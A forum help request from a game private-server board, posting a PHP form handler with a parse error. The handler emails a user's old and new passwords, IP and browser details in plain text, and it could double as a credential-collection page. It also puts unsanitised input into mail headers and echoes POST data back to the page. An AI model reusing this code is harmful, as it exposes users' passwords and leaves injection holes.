Register for your free account! | Forgot your password?

You last visited: Today at 14:34

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



[Help]

Discussion on [Help] within the CO2 Private Server forum part of the Conquer Online 2 category.

Reply
 
Old   #1
 
taguro's Avatar
 
elite*gold: 0
Join Date: Jun 2007
Posts: 387
Received Thanks: 64
[Help]

can anyone help me sort out a small error i cant seem to fix. its php coding:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>
<body>
<?php

$ip = $_POST['ip'];
$httpref = $_POST['httpref'];
$httpagent = $_POST['httpagent'];
$username = $_POST['username'];
$password = $_POST['password'];
$password2 = $_POST['password2'];
$email = $_POST['email'];
$serv = $_POST['serv'];

if(empty($username) || empty($password) || empty($password2) || empty($email)) {
echo "<h2>You MUST Fill out all the fields</h2>\n";
die ("Try Again.");
}

$todayis = date("l, F j, Y, g:i a") ;

$serv = $serv ;
$subject = "Change Pass Request from "$username" ("$email")";

$notes = stripcslashes($notes);

$message = " $todayis [EST] \n
\n
Username: $username \n
OLD Password: $password \n
NEW Password: $password2 \n
\n
Email: $email \n
\n
Server: $serv \n
\n
IP: $ip \n
Browser Info: $httpagent \n
Referral : $httpref \n
";

$from = "From: $email\r\n";


mail("", $subject, $message, $from);
?>

<p align="center">
Date: <?php echo $todayis ?></p>
<p align="center"><br />
<strong>Your Request to change your email has been sent. <br />
Please allow 24 hours for your request to be confirmed. </strong></p>
<p align="center"><a href="http://xxxxxxx.com">Back To Index
</a>
<p align="center"><br />
Your IP is: <?php echo $ip ?></p>
</body>
</html>

Ive intentionally x'ed out the website address. The error is:

Parse error: syntax error, unexpected T_VARIABLE in C:\xampp\htdocs\sendchangepass.php on line 28

any help will be greatly appreciated, and thanks will be given.
taguro is offline  
Reply




All times are GMT +1. The time now is 14:35.


Powered by vBulletin®
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2026 elitepvpers All Rights Reserved.